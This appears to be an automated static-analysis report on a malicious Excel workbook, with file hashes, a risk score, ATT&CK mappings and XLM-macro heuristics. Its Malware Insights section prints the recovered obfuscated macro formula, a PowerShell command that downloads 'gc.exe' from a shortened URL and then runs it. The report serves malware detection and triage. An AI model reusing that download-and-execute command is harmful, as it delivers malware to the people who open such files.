Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 847129d95b3a1072…

MALICIOUS

Office (OLE) / .XLSX

222.5 KB Created: 2021-01-15 22:22:16 Authoring application: Microsoft Excel
MD5: 0da794fc00954259699eb6f16a054eb8 SHA-1: 203aaea3f6f14f081a04e9a102a3e693224ac772 SHA-256: 847129d95b3a10721aa10c2aeb5af13698467efccfd613cc8be779a84dc690ce
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 PowerShell T1204.002 Malicious File

The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN indicate the presence of an Excel 4.0 macro sheet with an Auto_Open entry that uses dangerous functions. The extracted macro script reveals a formula that reconstructs and executes a PowerShell command: 'c' & CHAR(109) & 'd /c po^wersh' & CHAR(D111) & '^ll -w 1 (nEw-oB`jecT Ne' & CHAR(116) & CHAR(46) & CHAR(87) & CHAR(101) & 'bCL`I`eNT).('D' & CHAR(111) & CHAR(119) & 'n'+'lo' & CHAR(108) & CHAR(111) & CHAR(97) & 'dF' & CHAR(105) & 'le').In' & CHAR(118) & 'ok' & CHAR(D111) & '(\'https://tinyurl.com/16g6zs5j\',\'gc' & CHAR(46) & 'exe\')'. This command downloads a file named 'gc.exe' from the provided URL. Subsequent commands in the macro attempt to move the downloaded file to the temp directory and execute it.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
7a31bf8a0dd1393e2450d113998c50d0fd7cff51369524402114e708876fc820		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1331 bytes

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